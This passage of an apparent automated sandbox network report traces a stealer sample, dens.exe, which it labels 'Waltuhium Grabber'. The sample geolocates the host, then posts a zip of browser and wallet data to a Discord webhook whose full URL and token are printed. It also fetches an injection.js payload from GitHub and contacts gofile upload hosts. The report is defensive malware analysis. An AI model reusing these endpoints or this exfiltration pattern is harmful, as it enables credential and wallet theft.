Nov 13, 2024 00:38:57.378124952 CET	53	56195	1.1.1.1	192.168.2.4
Nov 13, 2024 00:38:59.949549913 CET	53741	53	192.168.2.4	1.1.1.1
Nov 13, 2024 00:38:59.956377029 CET	53	53741	1.1.1.1	192.168.2.4
Nov 13, 2024 00:39:01.547370911 CET	60548	53	192.168.2.4	1.1.1.1
Nov 13, 2024 00:39:01.556431055 CET	53	60548	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 00:38:40.255546093 CET	192.168.2.4	1.1.1.1	0xc430	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.892065048 CET	192.168.2.4	1.1.1.1	0xfa2b	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:57.369591951 CET	192.168.2.4	1.1.1.1	0x6e41	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:59.949549913 CET	192.168.2.4	1.1.1.1	0xfaa9	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:39:01.547370911 CET	192.168.2.4	1.1.1.1	0x5bb8	Standard query (0)	store1.gofile.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 00:38:40.263880968 CET	1.1.1.1	192.168.2.4	0xc430	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.898650885 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.898650885 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.898650885 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.898650885 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:53.898650885 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:57.378124952 CET	1.1.1.1	192.168.2.4	0x6e41	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:57.378124952 CET	1.1.1.1	192.168.2.4	0x6e41	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:57.378124952 CET	1.1.1.1	192.168.2.4	0x6e41	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:57.378124952 CET	1.1.1.1	192.168.2.4	0x6e41	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:38:59.956377029 CET	1.1.1.1	192.168.2.4	0xfaa9	No error (0)	api.gofile.io	45.112.123.126	A (IP address)	IN (0x0001)	false
Nov 13, 2024 00:39:01.556431055 CET	1.1.1.1	192.168.2.4	0x5bb8	No error (0)	store1.gofile.io	45.112.123.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

raw.githubusercontent.com

api.gofile.io

store1.gofile.io

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	208.95.112.1	80	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 00:38:40.285893917 CET	129	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5
Nov 13, 2024 00:38:40.880889893 CET	468	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 23:38:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 291 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 58 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 63 69 74 79 22 3a 22 4b 69 6c 6c 65 65 6e 22 2c 22 7a 69 70 22 3a 22 37 36 35 34 39 22 2c 22 6c 61 74 22 3a 33 31 2e 30 30 36 35 2c 22 6c 6f 6e 22 3a 2d 39 37 2e 38 34 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 69 73 70 22 3a 22 51 75 61 64 72 61 4e 65 74 22 2c 22 6f 72 67 22 3a 22 4f 4d 47 49 54 53 46 41 53 54 22 2c 22 61 73 22 3a 22 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"TX","regionName":"Texas","city":"Killeen","zip":"76549","lat":31.0065,"lon":-97.8406,"timezone":"America/Chicago","isp":"QuadraNet","org":"OMGITSFAST","as":"AS8100 QuadraNet Enterprises LLC","query":"173.254.250.68"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49752	162.159.128.233	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:38:54 UTC	282	OUT	POST /api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyygbrLTztN99jPEX8IcFYc7T HTTP/1.1 Host: discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5 Content-Length: 1311
2024-11-12 23:38:54 UTC	1311	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 77 61 6c 74 75 68 69 75 6d 20 7c 20 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 57 61 6c 74 75 68 69 75 6d 20 47 72 61 62 62 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 57 61 6c 74 75 68 69 75 6d 20 47 72 61 62 62 65 72 20 46 75 6c 6c 20 49 6e 66 6f 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 67 69 74 68 75 62 22 7d 2c 20 22 74 68 75 6d 62 6e 61 69 6c 22 3a 20 7b 22 75 72 6c 22 3a 20 22 77 65 62 68 6f 6f 6b 22 7d 2c 20 22 66 69 65 Data Ascii: {"username": "waltuhium \| t.me/waltuhium", "embeds": [{"title": "*Waltuhium Grabber", "description": "Waltuhium Grabber Full Info*", "url": "https://t.me/waltuhium", "color": 0, "footer": {"text": "github"}, "thumbnail": {"url": "webhook"}, "fie
2024-11-12 23:38:54 UTC	1253	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 23:38:54 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731454736 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E828AVbhGugyqVGLPhmHBb5U4Fg1xGA6Tk2O23S2an1hba95j8VNgqPPFdzhBzB1d3ATG1%2Fpf8QHWFwhMOB1zjvKfP2JKvm%2B1Ku3ylPkM4ERbQzOmOnBttRRLJLI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=b4fe6e672b6a1d8dbc1bc903c4e4d946e08efe60-1731454734; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=jksrHuwgi48AtT.0Eupf2voBCFAB43FLFLVhTeE9FnI-1731454734658-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e1a5bbb3d6d3583-DFW
2024-11-12 23:38:54 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	162.159.128.233	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:38:55 UTC	281	OUT	POST /api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyygbrLTztN99jPEX8IcFYc7T HTTP/1.1 Host: discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5 Content-Length: 438
2024-11-12 23:38:55 UTC	438	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 77 61 6c 74 75 68 69 75 6d 20 7c 20 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 57 61 6c 74 75 68 69 75 6d 20 47 72 61 62 62 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 4b 65 79 77 6f 72 64 20 52 65 73 75 6c 74 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 77 61 6c 74 75 68 69 75 6d 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 67 69 74 68 75 62 22 7d 2c 20 22 74 68 75 6d 62 6e 61 69 6c 22 3a 20 7b 22 75 72 6c 22 3a 20 22 77 65 62 68 6f 6f 6b 22 7d 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 7b 22 6e 61 6d 65 Data Ascii: {"username": "waltuhium \| t.me/waltuhium", "embeds": [{"title": "*Waltuhium Grabber", "description": "Keyword Result*", "url": "https://t.me/waltuhium", "color": 0, "footer": {"text": "github"}, "thumbnail": {"url": "webhook"}, "fields": [{"name
2024-11-12 23:38:55 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 23:38:55 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731454736 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4JODxRD7CJ9x5uuyA3G0YfusieZaBpUO4%2BbqOIWjAapORqiek10j8s%2FcLVW1hLrP7YtPoEgK4iVRpVb4cf2bHgmLteop%2F3XbRb%2BSTqMCJqRrJtjH8PLOuUd5XJzj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=9dba5449c019f2fb2e6b326e2136aa66df548017-1731454735; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=cKhzjvou17nQeUzv5Xf8o9mP4iIFwtHtb226JZIYU7k-1731454735463-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e1a5bc03bbc2cd2-DFW
2024-11-12 23:38:55 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49754	162.159.138.232	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:38:56 UTC	485	OUT	POST /api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyygbrLTztN99jPEX8IcFYc7T HTTP/1.1 Host: discord.com Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5 Cookie: __cfruid=b4fe6e672b6a1d8dbc1bc903c4e4d946e08efe60-1731454734; _cfuvid=jksrHuwgi48AtT.0Eupf2voBCFAB43FLFLVhTeE9FnI-1731454734658-0.0.1.1-604800000 Content-Length: 700699 Content-Type: multipart/form-data; boundary=352a3e1a846f481f992618ffec72422d
2024-11-12 23:38:56 UTC	36	OUT	Data Raw: 2d 2d 33 35 32 61 33 65 31 61 38 34 36 66 34 38 31 66 39 39 32 36 31 38 66 66 65 63 37 32 34 32 32 64 0d 0a Data Ascii: --352a3e1a846f481f992618ffec72422d
2024-11-12 23:38:56 UTC	140	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip"
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 da 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 42 72 6f 77 73 65 72 73 2f 50 4b 03 04 14 00 00 00 00 00 d8 94 6c 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 57 61 6c 6c 65 74 73 2f 50 4b 03 04 14 00 00 00 08 00 d9 94 6c 59 cd a9 5e 08 64 63 0a 00 e2 a5 0a 00 0f 00 00 00 44 69 73 70 6c 61 79 20 28 31 29 2e 70 6e 67 6c bb 7b 3c 93 ff ff 3f 7e 6d 26 a7 0a eb 40 25 1b 26 45 5a f2 92 08 9b 43 19 0a 89 26 64 72 88 a8 84 e4 38 46 ca a1 9c e6 58 c9 14 92 73 4e 95 cc a1 72 a6 e6 90 63 42 ce 73 66 07 6c 33 bf f5 7a bf 3f df ef e7 77 bb 7d ff d8 6d db 75 5d b7 eb 7a 5e db fd 71 3f 3c 9f 8f 2b da dc d4 70 8f f0 61 61 00 00 f6 18 61 0c 2c 00 80 9f f7 11 02 08 ee e2 bd d5 25 d1 f5 79 6f 20 1f 0b 43 3d a0 e4 87 14 f5 ef Data Ascii: PKlYBrowsers/PKlYWallets/PKlY^dcDisplay (1).pngl{<?~m&@%&EZC&dr8FXsNrcBsfl3z?w}mu]z^q?<+paaa,%yo C=
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: cc d0 fb 50 e1 81 67 43 58 ab 40 f7 aa f8 78 99 b5 07 a2 7a 7d 11 f4 b6 30 c6 c1 c1 0d f2 e3 6d 1f bb d2 47 c1 b5 36 9d dd b2 3b 08 7a 03 4c 94 09 35 ab a6 6f 5f b9 49 8a 9c a3 51 c0 08 b3 ea a8 fa 60 cb 4d 12 b2 8d 28 9a d8 42 e3 3c a0 4b 44 f9 fc f4 3b b5 e1 ec 65 c5 cf 73 b1 66 bf 04 1b a2 4d 1a c4 9f 57 b1 9b e2 5b 78 c8 78 ab 0b cc a8 03 35 41 0b c6 08 86 56 f7 8b 13 ce c9 80 25 63 6c 32 0f bb 9d 87 6c 07 9b 5b 11 ea df 08 77 d5 ee d9 74 89 03 ed 44 38 35 90 3a 5b 08 db 3e 40 a8 5f a8 ef ee 73 d0 80 49 97 b9 9f b8 b8 98 0b de f7 2e df 9f cf cf eb b7 58 48 79 72 b2 0a 51 de e8 b9 60 fc 21 f0 e4 6b ab 6e 5b 37 af 0c b5 54 1b c3 c7 60 cf f2 7f d7 43 7f 8d f5 f9 f3 8f 3b 47 e7 e0 d4 ff f3 78 6c 29 ec 98 3c 10 1f f0 59 61 69 ba 3e dd c2 c6 10 d5 27 a1 3f Data Ascii: PgCX@xz}0mG6;zL5o_IQ`M(B<KD;esfMW[xx5AV%cl2l[wtD85:[>@_sI.XHyrQ`!kn[7T`C;Gxl)<Yai>'?
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: 92 9d e6 f1 0c 33 1e 36 9c 5f 90 29 09 c6 22 96 de aa d8 76 7a 23 38 2a f4 ec 37 e6 3f 9c 8c cb 54 f4 40 0f e6 7d a2 18 7f 52 f8 75 35 bf 31 85 9c 29 85 d9 30 e9 33 71 23 6e 65 20 f2 72 d5 bf 25 ae 51 a7 37 cf 7c f7 86 a4 28 b2 8b 5b 69 f2 f1 24 65 2e a2 de 33 89 79 a1 a0 dd f5 02 b9 cb 0e 7d dc ec c4 b0 f7 50 53 b5 a5 12 ac 67 1b 01 11 d7 1b af a7 e9 b8 b2 8a 7a 0f 65 e7 ed 9b fc c8 c1 0d 86 3b 5f 12 e3 fc ec 0f b1 d8 3b 4c a1 3a d8 d0 37 93 fb ad ba f7 9e d2 e9 43 f5 69 dd ea db a3 cf 7f bd ac 4f bc 50 3f d9 fe 7c 2a bf f7 52 69 32 a0 36 97 3c 6e 22 9d ea ed ad fa 68 37 b1 1f c4 2e 12 dd 34 ae 5f f7 fc a6 f7 5c 22 c2 b8 a8 1f ff c6 c6 a9 ee 5b 9b 10 a2 f9 61 dd e9 bb d9 71 1d cf 3a 95 92 b6 0d e0 26 a7 56 3e 2c 49 55 66 3b ad aa 3f d5 3d 50 7f 56 55 a1 Data Ascii: 36_)"vz#87?T@}Ru51)03q#ne r%Q7\|([i$e.3y}PSgze;_;L:7CiOP?\|Ri26<n"h7.4_\"[aq:&V>,IUf;?=PVU
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: 64 eb 5c 46 58 b3 0e 3f 02 0e 4c 2d 3c 33 ec da a9 2c df fb bc db 5e b3 39 2f 70 18 34 16 73 4a 31 97 90 33 5e 96 ca d8 89 5b 20 a9 61 b9 a7 1d 5c a8 3c b1 4f b6 77 66 e9 58 e6 13 05 ce b8 e0 b8 2d f2 bd 5b ae 24 52 36 c3 f3 c4 e4 5a f7 c2 af a4 16 8b 2c 47 53 ba e3 43 5f f4 76 75 75 45 4b 6c 28 35 4b c6 0a fb 94 7d 43 c7 52 8a 9f b2 d2 4e 86 3a 50 22 81 32 20 91 e2 b6 52 86 50 60 1d 63 46 e5 56 da e6 ce f2 3b 86 5e 2e 8e 70 9d e2 66 8b 26 a5 64 39 ea 70 c5 6e a3 17 71 03 0c 4e 91 5a d5 18 2e 77 cf c2 ed 95 4a ee bc 06 42 f1 7d a0 00 b2 8f 25 af 1d 8b 14 ce 98 9d 38 3a 65 cb 29 22 6c 04 45 c8 d0 fe 33 a2 ff 2f b3 bf 86 7a df 07 04 c8 2d 2d ec bb d2 9c 56 b0 43 70 8e 8a ed 51 eb bd 3c 37 15 ea c4 85 0e b1 8a a7 4e a8 1e 11 0e fe a7 1f 14 0b 60 bc 63 36 79 Data Ascii: d\FX?L-<3,^9/p4sJ13^[ a\<OwfX-[$R6Z,GSC_vuuEKl(5K}CRN:P"2 RP`cFV;^.pf&d9pnqNZ.wJB}%8:e)"lE3/z--VCpQ<7N`c6y
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: 77 d8 82 6c bb 13 5f c4 21 a1 b3 bc 8f bb 72 ce 9b f3 09 87 b2 3a 4b da 20 36 84 8c 1a 0d 7c ae 93 fe b9 f5 81 e8 5e 31 64 72 68 4a 74 c3 6c ca 16 a4 87 7b 66 00 8b c8 dd ed 56 d2 c9 ee 51 3f d4 2e bd f8 08 b3 bd b3 d1 32 ec de 57 74 98 af 0d 61 c4 db 4a 57 63 02 82 76 37 85 6b 14 05 5e 16 fc 39 48 dc 0b a4 33 76 41 0a 13 ee a7 33 a1 a3 da ca 28 eb 1b 28 bf 8b 81 23 b3 9b b9 65 d7 56 0c c1 a6 76 ba b7 a9 8b b0 72 e3 8a 2c 01 d6 1b 4a 15 d9 f9 ee dc be 6c 3d cf b6 33 6b 9d 0f d5 27 83 97 ee c7 c7 56 c1 8c 1d 72 67 28 20 ae 71 23 36 7b d1 48 6b 92 28 84 05 4d 25 a7 75 75 94 0e fb 70 48 f4 c7 60 6c f2 90 63 64 96 0c 94 13 59 58 9a 2f 79 9c f0 b7 64 cc 9f 23 7a b5 5d 06 c9 01 b5 1e 0b e3 33 a1 0f d0 83 fd d6 07 9b ea 47 e9 09 74 8f b8 f0 e0 fe 0b 88 58 ab ba Data Ascii: wl_!r:K 6\|^1drhJtl{fVQ?.2WtaJWcv7k^9H3vA3((#eVvr,Jl=3k'Vrg( q#6{Hk(M%uupH`lcdYX/yd#z]3GtX
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: f7 a1 ee 75 b9 3f fd 99 94 48 d0 bb fc 41 e1 59 50 db 19 81 65 fb c6 d1 66 25 3a 88 80 f3 7d 65 5e 58 96 39 58 78 bb 84 b0 20 21 b7 09 3c 58 16 da 6c 93 97 38 e6 73 0b 19 8f eb d5 05 48 c7 1a ae 82 ce e7 de 8d 9d a9 af a0 85 e4 58 20 98 54 c3 04 30 69 55 af 5b ca 66 61 7c b9 73 b7 c6 26 50 bb 49 2e 8c 8f 73 6e 9b f8 9d 08 a4 06 49 10 92 fd 71 99 3c f8 ec 57 bc e6 e4 46 75 b3 e8 eb 62 17 ef 77 f2 e0 45 99 94 bd 38 2e 3f 97 01 63 4b d1 ed 0b ea 6f f1 0b 2a 27 cd d6 61 52 9a 39 d4 e5 12 80 63 6a d7 99 7a c3 17 e9 32 fa cd f7 52 39 f4 71 ee 30 d6 17 f0 e7 4c db b6 c4 e5 26 e5 58 fc ed 14 98 c8 06 27 54 9f 24 c3 9f b9 6a 33 b5 05 92 eb 39 91 de a6 ad bc 10 46 77 2e a7 00 e6 86 72 70 f3 c9 5b aa 2e 09 a9 8c e5 a7 79 4e eb 14 70 5e 9f 1b 79 b2 e5 ce 8e c4 d7 e5 Data Ascii: u?HAYPef%:}e^X9Xx !<Xl8sHX T0iU[fa\|s&PI.snIq<WFubwE8.?cKo*'aR9cjz2R9q0L&X'T$j39Fw.rp[.yNp^y
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: 06 d3 d1 1c 06 19 1a 7c af 7a 8b 74 34 c0 56 dc 03 db c8 f8 46 12 21 0a 30 5e f0 cc ca 30 5c 96 db 15 c5 14 b3 33 58 14 99 bb e1 1e d7 89 66 96 40 88 32 f7 b9 76 bc fc 55 1e 53 03 1d 5e 83 b9 18 ed 7b 69 98 39 10 06 22 2f fc 4c 55 cf 13 0f 4e 22 b0 a3 6c d7 88 c4 89 90 62 c0 78 d5 04 64 7a 77 aa b4 eb 7c de 4f 33 a2 04 72 66 d6 a3 be b4 18 9c ac 1f 22 2e 6b ed bf 3e 63 b9 dd ff b4 ff 19 f8 5d 5a 38 6f d3 c8 49 e4 35 b7 9c 20 fe 0d 2e c7 c3 06 53 24 85 f7 c9 61 37 65 0a 9e f1 9d b9 9d 1e d6 ad d7 76 cc e3 b1 8b 0a a0 50 6e f5 2d cb e7 72 8f 87 74 88 43 f6 59 e5 04 02 a7 47 71 7e 40 11 4a 34 dc 91 a6 af 83 b9 27 e5 f3 96 1d 37 56 cc 5a 9a 2a d3 5a f6 d6 63 cb ce fb 5a 46 03 92 04 aa cc 45 ce 7c c6 4f 6b de 8f 8e a5 f6 ac dc 11 33 e2 1a 7e 60 2c 7c b7 ba 17 Data Ascii: \|zt4VF!0^0\3Xf@2vUS^{i9"/LUN"lbxdzw\|O3rf".k>c]Z8oI5 .S$a7evPn-rtCYGq~@J4'7VZ*ZcZFE\|Ok3~`,\|
2024-11-12 23:38:56 UTC	16384	OUT	Data Raw: c0 0e 12 48 9e 30 90 00 7f fb ee 15 b1 3b 35 ff 24 01 30 b3 1d ab 3d 91 8e 1b f3 00 da a3 3c 36 d4 03 57 d3 7f 61 f0 04 8d 68 04 4e ac e4 8e b6 0e e2 c2 3b ef 18 ea 2a 9e 0a 01 6a 4a db b2 7a e9 34 25 18 cf 63 73 2a 4e 4f aa 35 7b b7 7f 5b bf 5d de 72 bb 7a e3 02 c7 22 7d 12 ff e6 f5 56 3f 4e 97 24 a7 c0 46 ea 6c 72 9e c4 b8 7e ca 61 f5 da 4b 1e 27 f4 16 de 3e 54 08 c8 bd 0a 97 a9 94 ac d4 0c f0 1a 7c 84 2c 4b 97 65 42 b6 95 6f 57 94 fe 95 f2 57 ac 3f 1d 20 85 ef d1 06 19 c5 9c 5c fa 6e 0d 5e 37 7a ea 67 fc 1b ca 61 1d 3d dd c2 77 f5 04 2c ef 9d 6a f9 1f 7c bd 5f 1e cc 1d 13 a7 d9 9b dc bb e6 ff cc b6 60 37 ef 27 1f 78 e2 b0 fd 0d 0a 73 ab 24 03 62 f9 83 bf b3 5b 98 b6 93 f6 89 13 78 ce 25 6a 10 f6 5e 96 ed c2 1d f6 8e 34 46 03 f8 35 ff a2 13 f7 46 d6 cc Data Ascii: H0;5$0=<6WahN;jJz4%csNO5{[]rz"}V?N$Flr~aK'>T\|,KeBoWW? \n^7zga=w,j\|_`7'xs$b[x%j^4F5F
2024-11-12 23:38:57 UTC	956	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 23:38:57 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731454738 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PXwzgwwbEGRs1xEifo4GwpCxmbqG7m%2F1ZIUpQCJYe0HNKbi07rOlEItVnZCnTm31pRqOTdvgr1dg0kq0sAUYnBcBDjc3bA2WrJcC5U5Mn0GzVCAq71rsrSmEL9CN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Server: cloudflare CF-RAY: 8e1a5bc5abe93160-DFW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49757	185.199.108.133	443	6500	C:\Users\user\Desktop\dens.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 23:38:58 UTC	186	OUT	GET /antivirusevasion23/injection/main/injection.js HTTP/1.1 Host: raw.githubusercontent.com Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Python/3.12 aiohttp/3.10.5
